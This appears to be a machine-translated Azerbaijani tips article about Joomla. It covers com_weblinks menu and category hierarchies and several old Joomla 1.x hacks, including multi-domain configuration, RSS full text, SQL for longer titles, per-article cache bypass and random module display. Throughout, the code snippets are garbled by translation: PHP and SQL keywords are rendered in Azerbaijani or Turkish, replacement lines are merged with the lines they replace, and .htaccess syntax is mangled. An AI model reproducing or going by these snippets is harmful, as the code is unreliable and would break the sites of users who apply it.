Gördüyünüz kimi, menyudakı keçid növlərinin adları və vews kataloqlarındakı şablonların adları eynidir.

Tərtibatçı komponentlər üçün yeni qeyri-standart şablonlar (layouts) yaratmaq imkanına malikdir. Bu yeni tərtibatlar menyu növü seçim qutusunda yeni menyu növləri kimi də əks olunacaq. Bu ayrı bir məsələdir.

Joomla paylama demo məzmunu

Gəlin görək "Joomla haqqında" menyu elementi iyerarxiyasının com_weblinks Komponentini demo məzmunda (Beez2 - Defolt şablon) Joomla-da göstərmək üçün necə qurulduğuna.

Gəlin admin panelinə keçək com_weblinks komponentini redaktə etmək üçün səhifəyə keçək: Components->Links. Dağıtımla birlikdə gələn demo məzmunda com_weblinks komponenti üçün beş kateqoriyanın yaradıldığını görürük. Beləliklə, bağlantılar beş kateqoriyaya bölünəcəkdir. Bütün yaradılmış kateqoriyalar #_categories verilənlər bazası cədvəlində saxlanılacaq. Eyni cədvəldə digər komponentlər üçün kateqoriyalar da saxlanılır.

Nümunə Məlumat Veb Bağlantıları
|-Park Bağlantıları
|-Joomla! Xüsusi Linklər
|-|-Digər resurslar
Kateqoriyasız

Joomla haqqında menyuda (menyu redaktorunda) müvafiq olaraq menyu elementlərinin iyerarxiyası yaradılmışdır:

Menyu elementlərinin iyerarxiyası:

Joomla istifadə! (növ: material)
|-Uzantılardan istifadə (növ: bütün kateqoriyaların siyahısı) :: məqalələrdəki kateqoriyaların siyahısı
|-|-Komponentlər (növ: kateqoriya blogu) :: məqalələrdə kateqoriya
|-|-|-Weblinks Komponenti (növ: material)
|-|-|-|-Linklər komponentində Veb-link göndərin (növ: link yarat) ::
|-|-|-|-Weblinks Single Category (növ: kateqoriyadakı keçidlərin siyahısı) :: Links komponentində
|-|-|-|-Weblinks Kateqoriyaları (növ: keçid kateqoriyalarının siyahısı) :: Bağlantılar komponentində

Bəzi menyu elementlərinin növləri olduğunu görürük: kateqoriyalar siyahısı, kateqoriyadakı keçidlərin siyahısı və keçid yaradın.
"Bağlantı kateqoriyalarının siyahısı" iyerarxiyanın göstəriləcəyi üst kateqoriyanı müəyyən edir.
"Kateqoriyadakı keçidlərin siyahısı" keçidləri göstəriləcək kateqoriyanı göstərir.
"Bağlantı yarat" bəndində qeydiyyatdan keçmiş istifadəçinin doldurmalı olduğu bir forma görünəcək.
Yeri gəlmişkən, bu formaya keçid redaktorda necə görünür (onun görünüşü ünvan çubuğunda dəyişəcək):

index.php?option=com_weblinks&view=form&layout=edit

Menyudakı bəzi maddələr yalnız qeydiyyatdan keçmiş istifadəçiyə göstərilə bilər! Məsələn, "Bağlantı yarat" tipli menyu elementi yalnız qeydiyyatdan keçmiş istifadəçilər üçün görünəcək. Bu xüsusiyyət qeydiyyatdan keçmiş istifadəçilərə səhifədə yerləşdiriləcək linklər yaratmağa imkan vermək üçün xüsusi olaraq yaradılmışdır.

Beləliklə, com_weblinks komponenti maraqlı keçidlərlə səhifəni interaktiv şəkildə doldurmaq üçün yaxşı bir yol təqdim edir. Eyni zamanda, belə bir səhifəyə yerləşdiriləcək bütün keçidlər yönləndirməyə malikdir, yəni xarici olaraq indekslənməyəcəkdir. Yəqin ki, forumlarda belə bağlantıları görə bilərsiniz. Mausunuzu belə bir keçidin üzərinə gətirdiyiniz zaman saytınızın ünvanını görəcəksiniz və yalnız onun üzərinə kliklədikdən sonra qeyd etdiyiniz ünvana yönləndiriləcəksiniz.

İstifadəçinin özü xarici saytlara keçidlər əlavə etmək imkanı com_weblinks komponentinin əsas üstünlüyü və məqamıdır, həmçinin istifadəçinin yeni məzmun - məqalələr, şəkillər, video faylları və s. əlavə etmək imkanıdır.

Qeydiyyatdan keçmiş istifadəçiyə saytı birbaşa kodlaşdırmadan məzmunla doldurmaq hüququ vermək CMS Joomla-nın əsas fəlsəfəsidir.

Kateqoriyasız
Nümunə Məlumat-Məqalələr
|- Joomla!
|-|- Genişləndirmələr
|-|-|- Komponentlər
|-|-|- Modullar
|-|-|-|- Məzmun Modulları
|-|-|-|- İstifadəçi Modulları
|-|-|-|- Ekran Modulları
|-|-|-|- Kommunal Modullar
|-|-|-|- Naviqasiya Modulları
|-|-|- Şablonlar
|-|-|-|- Atom
|-|-|-|- Beez 20
|-|-|-|- Beez 5
|-|-|- Dillər
|-|-|- Pluginlər
|- Park yeri
|-|- Park Blog
|-|- Foto Qalereya
|-|-|- Heyvanlar
|-|-|- Mənzərə
|- Meyvə Dükanı Saytı
|-|- Yetişdiricilər
|-|- Reseptlər

Məzmun üçün çoxlu kateqoriyalar yoxdur!
Siz həmçinin verilənlər bazasında kateqoriya cədvəlini sorğulayaraq materiallardakı kateqoriyaların iyerarxiyasına baxa bilərsiniz:

* '#_kateqoriyalardan' SEÇİN HARADA `uzatma` = "com_content"

Faylda bir təklif var /includes/joomla.php funksiyasında təmiz mətn xətti dəyişdirin

$text = strip_tags( $text ); $text = strip_tags ( $text , " " ) ;

Bu hack nəzərdə tutulub yalnız normal şəkillər kimi yapışdırılmış şəkillər üçün. Bir mambot (mosimage) tərəfindən daxil edilmiş şəkillər üçün bu hack işləməyəcək.

com_weblinks komponentində birbaşa keçid necə etmək olar

IN weblinks.html.php xətti dəyişdirməlisiniz:

$link = sefRelToAbs( "index.php?option=com_weblinks&task=view&catid=". $catid ."&id=" . $row ->id ); $link = $sətir ->url;

Joomla-nın eyni anda iki hostda (domendə) işləməsini necə təmin etmək olar. Bunlar. məsələn, 10.0.0.15-də yerli şəbəkədə və internet saytından-company.ru. Hər iki ünvanın eyni maşında olduğunu nəzərə alsaq.

Birincisi, problemin bütün məqamı ondan ibarətdir ki, Joomla bütün şəkilləri və CSS fayllarını (şablondakı yollarını) onların $mosConfig_live_site dəyişəninə - quraşdırma zamanı daxil edilmiş saytın əsas ünvanına nisbətdə verir. Və əgər kimsə ona fərqli bir ünvanla daxil olmağa çalışırsa, onun işinin məntiqində heç nə dəyişmir - əsas ünvan konfiqurasiya faylından götürülür. Məsələn, əgər konfiqurasiyada Joomla-nın localhost-da yerləşdiyi yazılıbsa, o zaman yerli şəbəkədən zəng, hətta 192.168 ünvanını dinləyən düzgün konfiqurasiya edilmiş Apache-yə zəng. belə hallar üçün tələb olunan host üçün $mosConfig_live_site dəyişənini əvəz etməkdir ki, bütün funksiyalar düzgün keçidlər verə bilsin və artıq istifadəçini bu və ya digər virtual saytı idarə edə bilsin (şəkillərə düzgün əsas yolları və ünvanlara əsas yolları verin). configuration.php$mosConfig_live_site tərifinin yerinə öz kodunuzu yazmalısınız. Kimi bir şey:

əgər ($_SERVER [ "HTTP_HOST" ] == "host1.ru" ) $mosConfig_live_site = "host1.ru" ; else $mosConfig_live_site = "host2.ru" ;

Qeyd etmək lazımdır ki, bir keşdən istifadə edildiyi təqdirdə, iki host üçün iki fərqli keş qovluğuna sahib olmalısınız, çünki fərqli hostlara keçidlər önbelleğe keçə bilər və sonra səhv şəbəkədən olan istifadəçi heç bir yerə getməyəcəkdir. . $mosConfig_cachepath dəyişəni keş üçün cavabdehdir.

Eyni səhifədə eyni anda iki komponentin görünməsini necə etmək olar

İndi sizə deyim - bu o qədər də sadə deyil. Komponent modul deyil. Buna görə də, ilk növbədə, alternativ axtarmağa dəyər, yəni. şübhəsiz ki, onun funksionallığını təkrarlaya bilən modullar məşhur komponentə keçir. Heç biri yoxdursa, bu seçimdir. Siz onu modul kimi edə bilərsiniz və ya nəzəri olaraq şablona daxil edə bilərsiniz. İdeya budur - komponenti index2.php vasitəsilə çağırırıq (nə və niyə - tam faktı oxuyun). Bunlar. ikinci komponenti daxil etmək istədiyiniz yerdə src="index2.php?option=com_component&no_html=1" ilə iframe yarada bilərsiniz. Və orada görünəcək. Başqa bir şey odur ki, funksionallığı tam təmin etmək mümkün olmayacaq. Bununla belə, çıxış yolu budur.

Və ya konstruksiyadan istifadə edin: mosLoadComponent("com_mycomp" );

Lakin, əgər komponent bu şəkildə yerinə yetirilirsə, onda başa düşməlisiniz ki, o, sizin manipulyasiyalarınızdan xəbərsizdir və öz $option və $task-a uyğun işləyəcək.

Məqalədə başlığın uzunluğunu necə artırmaq olar

Siz phpMyAdmin-də aşağıdakı iki əmri yerinə yetirməlisiniz (SQL sorğularını yerinə yetirmək üçün xüsusi səhifə var), yalnız ###_-i öz real cədvəl prefiksi ilə əvəz etməlisiniz. Maksimum mümkün rəqəm 255-dir. Nümunədə 200 istifadə edilmişdir.

DEĞİŞTİRİN CƏDVƏL `###_content` `başlıq_ləqəbini` `başlıq_ləqəbini` DƏYİŞTİRİN VARCHAR(200) NULL DEYİL; DEĞİŞTİRİN CƏDVƏLİ `###_məzmun` `başlığı` `başlığı` DƏYİŞİN VARCHAR(200) NULL DEYİL;

RSS lentinə xəbərin tam mətnini necə əlavə etmək olar, təkcə başlıqları deyil

Bunu etmək üçün, /components/com_rss/rss.php faylında, əvəz etməlisiniz.

$item_description = $row ->introtext ; $item_description = $sətir ->tam mətn ;

Eyni verilənlər bazasından və ya eyni fayllardan istifadə edərək iki Joomla saytını necə yarada bilərəm?

Bir verilənlər bazasından istifadəyə gəlincə, iki mühərrik üçün configuration.php-də bir verilənlər bazası yazmalısınız, ancaq nə etdiyinizi başa düşməlisiniz. Bu halda istifadəçilər üçün seansların saxlanması çox problemli olacaq, çünki domenlər fərqlidir. Bunlar. #__sessiyalar cədvəlindəki giriş qeydləri üst-üstə düşəcək (üst-üstə düşə bilər).

Eyni faylları böyük bir paylamanı kopyalamadan istifadə etmək istəyirsinizsə, o zaman Linux-da "ln -s" əmrindən istifadə edərək mövcud fayllara simvolik bağlantılar yarada bilərsiniz və onları yeni sayt üçün köçürməməlisiniz.

Joomla General Design-da müəyyən bir ünvanda mövcud olan virtual səhifəni necə yaratmaq olar (http:/ /site.ru/super_page)

  • Birinci yol bəzi SEF komponentindən istifadə etməkdir, burada statik səhifə üçün zəruri virtual yolu göstərməlisiniz. Burada bir mənfi cəhət var - bu komponent bütün digər bağlantıları yenidən düzəltməyə başlayacaq (və ümumiyyətlə bu komponentlər çox acizdir və işləmək üçün çoxlu resurs tələb edir).
  • istifadə edərək belə bir səhifə üçün ləqəb yaradın mod_rewrite.htaccess. Bunun üçün sizə lazımdır:
    • Lazım olan mətnlə statik səhifə yaradın, onun ID-sini və ünvanını öyrənin (belə bir səhifə yaratmaq lazım deyil, o, artıq mövcud ola bilər və ümumiyyətlə, com_content deyil, sadəcə bir növ komponentdir)
    • Bir ləqəb tap, qoy belə olsun" super_puper"
    • .htaccess açın və "RewriteCond %(REQUEST_FILENAME) !-f" sətirindən əvvəl yazın:
RewriteRule ^(super_puper) index.php?option=com_content&task=view&id=12 RewriteCond %(REQUEST_FILENAME) !-f
    • Və indi, Joomla-nın site.ru saytında yerləşməsi şərtilə, http:/ /site.ru/super_puper linkini açdığınız zaman məlumatınızla lazımi statik səhifə açılacaq. Linkin özü "index.php?option=com_content&task=view&id=12" sizə lazım olan hər hansı ola bilər, əsas odur ki, link deyildi mütləq (yəni http:/ /... ilə) və nisbi ( etməlidir index.php ilə başlayın?...)

Müəyyən bir məqalə üçün keşi necə söndürmək olar

Joomla keşləmə sistemindən asılı olmayaraq hər dəfə təsadüfi ədədlər və ya təsadüfi mətn yaratmalı olan hər hansı skriptləri daxil etmək üçün rd_addphp mambot istifadə edirsinizsə, bu lazım ola bilər. Müəyyən bir məqalənin keşini söndürmək üçün onun identifikatorunu tapmalısınız (admin panelində redaktə edərkən ünvan çubuğuna baxın, orada "...&id=123..." kimi bir şey göstəriləcək) . Beləliklə, 123 məqalə ID-miz olacaq. /components/com_content/content.php faylında, təxminən 1600-cü sətirdə əvəz etmək lazımdır.

$cache ->zəng ("HTML_content::show" , $row, $params, $access, $page ); if ($row ->id !="123" ) $cache ->zəng ( "HTML_content::show" , $row , $params , $access , $page ); else HTML_content::show ($sətir , $params , $access , $səhifə );

123 sizə lazım olan məqalə identifikatorudur.

Mən çoxlu komponentlər quraşdırdım və admin menyusundakı komponentlərin siyahısı onların azaldılmış sayını göstərir və sonra "Daha çox komponentlər ..." deyir. Bütün komponentləri necə göstərmək olar.

Bu /administrator/modules/mod_fullmenu.php sətirində lazımdır

$topLevelLimit = 19 ;

ilə əvəz edilmişdir

$topLevelLimit = 199 ;

Komponentin surətini necə quraşdırmaq olar

Deməliyəm ki, vəzifə son dərəcə çətindir. Komponentin necə işlədiyini başa düşmürsənsə, cəhd etməməlisən. Hələ də istəyənlər üçün əsas məqamları qeyd edirik:

  • XML faylında, ad etiketindəki komponent adını dəyişdirin
  • Sonra, istifadə olunan cədvəllərin adını dəyişdirməlisiniz (birincisi XML faylında, ikincisi isə verilənlər bazası obyektinin istifadə olunduğu yerdə bütün komponent fayllarında $verilənlər bazası və üsul setQuery)
  • Komponentlərdəki bütün yolların adını da dəyişdirin. Yollar öz-özünə istinadda istifadə edilə bilər və ya fayl adlarını ehtiva edə bilər. Çox vaxt bu, com_componentname alt sətrini tapmaq və onu yenisi ilə əvəz etməkdən ibarətdir.

Amma bu üsul heç nəyə zəmanət vermir. Sadə olanlarla bu mümkündür və keçəcək, lakin mürəkkəb olanlarla heç kim zəmanət verməyəcək.

Bir mövqeni təsadüfi olaraq ona təyin edilmiş modullardan birini necə göstərmək olar

  • Seçim 1 - mosLoadModules hack. N modullarından birini göstərmək lazım olan şablonda yazırıq (üçüncü arqumentə diqqət yetirin):
mosLoadModules("mövqe" , display_setting, true );

Və yuxarıdakı funksiyanın özünü bir az düzəldirik:

funksiya mosLoadModules( $position="left" , $style =0 , $show_random = false ) ( ... $allModules =& initModules() ; if (isset ( $GLOBALS [ "_MOS_MODULES" ] [ $position ] ) ) ( $modules = $GLOBALS [ "_MOS_MODULES" ] [ $position ] ; ) else ( $modules = massiv () ; ) //bura əlavə edin if ($show_random && sizeof ($modules ) >0 ) ( $tmp = $modullar [ rand (0 ,sizeof ($modullar ) -1 ) ] ; $modullar = massiv ($tmp ) ; ) //əgər əlavənin sonu (count ( $modullar )< 1 ) { $style = 0 ; }

Biz ona üçüncü bir arqument əlavə etdik (şablonda, doğru yazdığımız yerdə istifadə olunur) və kodu dəyişdirdik.

  • İkinci seçim daha ağrısızdır, biz yalnız şablonu dəyişdiririk. Ancaq daha çox əmək tutumlu - bir neçə vəzifə yaratmalıyıq. Əvvəlcə bir neçə yeni modul mövqeləri yaradırıq, məsələn new1 ... new10. qənaət edirik. Şablonun düzgün yerində mosLoadModules funksiyasını çağırmadan əvvəl lazımi kodu əlavə edin:
$rand_num = rand (1 ,10 ); //1-dən 10-a qədər - vəzifə adında olduğu kimi mosLoadModules ("yeni" .$rand_num, display_setup);

İnanıram ki, /adminisrator/ qovluğunun adını dəyişdirməklə saytımı daha təhlükəsiz edəcəm

Varsayılan olaraq, bu seçim təmin edilmir. Ancaq əslində, Joomla fayllarında axtarış təşkil etməklə, belə bir sözün hər hansı bir hadisəsini sizinlə əvəz etmək mümkündür - gizli. Bəzən o zaman səhvlər yəqin ki, fayllara daxil ola bilməmək, lakin fayl və sətir nömrəsini bilməklə bağlı yaranacaq. Buna görə də, problem, prinsipcə, həll edilə bilər.


2022
maccase.ru - Android. Brendlər. Dəmir. xəbərlər